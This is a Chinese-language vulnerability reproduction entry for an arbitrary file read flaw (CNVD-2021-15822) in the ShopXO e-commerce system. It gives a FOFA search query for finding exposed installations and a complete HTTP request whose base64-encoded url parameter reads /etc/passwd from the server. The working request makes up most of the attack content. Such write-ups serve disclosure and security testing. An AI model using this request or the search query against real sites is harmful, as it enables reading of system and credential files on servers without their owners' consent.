# ShopXO download 任意文件读取漏洞 CNVD-2021-15822

## 漏洞描述

ShopXO是一套开源的企业级开源电子商务系统。ShopXO存在任意文件读取漏洞，攻击者可利用该漏洞获取敏感信息

## 漏洞影响

> [!NOTE]
>
> ShopXO

## FOFA

> [!NOTE]
>
> app="ShopXO企业级B2C电商系统提供商"

## 漏洞复现

商城主页如下

![](http://wikioss.peiqi.tech/vuln/image-20210602084431142.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

发送漏洞请求包

```
GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

其中 **/url/xxxx** 中的 base64 解码后为 **/etc/passwd**

![image-20210602084556460](http://wikioss.peiqi.tech/vuln/image-20210602084556460.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)